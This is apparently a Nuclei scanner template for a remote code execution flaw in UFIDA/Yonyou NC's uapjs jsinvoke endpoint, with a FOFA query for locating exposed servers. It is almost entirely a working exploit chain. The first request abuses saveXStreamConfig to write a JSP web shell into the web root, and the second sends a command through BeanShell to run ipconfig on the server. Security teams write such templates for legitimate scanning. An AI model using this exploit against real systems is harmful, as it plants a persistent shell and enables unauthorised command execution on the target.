CNVD-C-2023-76801: UFIDA NC uapjs - Remote Code Execution

id: CNVD-C-2023-76801

info:
  name: UFIDA NC uapjs - Remote Code Execution
  author: SleepingBag945,s4e-io
  severity: critical
  description: |
    There is an arbitrary method calling vulnerability in UFIDA NC and NCC systems. By exploiting the vulnerability through uapjs (jsinvoke), dangerous methods can be called to cause attacks.
  reference:
    - https://mp.weixin.qq.com/s/8ZRrmUCD2bfznd1MyDDU8A
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="用友-NC-Cloud"
  tags: cnvd,cnvd2023,yonyou,rce,intrusive,vuln

variables:
  filename: "{{rand_base(12)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/x-www-form-urlencoded

        {"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/{{filename}}.jsp"]}

    matchers:
      - type: dsl
        dsl:
          - "len(body)==0"
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        POST /{{filename}}.jsp?error=bsh.Interpreter HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/x-www-form-urlencoded

        cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("ipconfig").getInputStream())

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"Windows", "<?xml", "DNS")'
          - 'status_code == 200 || status_code == 404'
        condition: and
# digest: 490a0046304402200d4c7678937064c6b4758f033d53e064e0ce156ca900e963c6829cb8d6be6f550220702ecb5614c973df015a004d10da90d081f5b121a109c29f50f1154492c988de:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.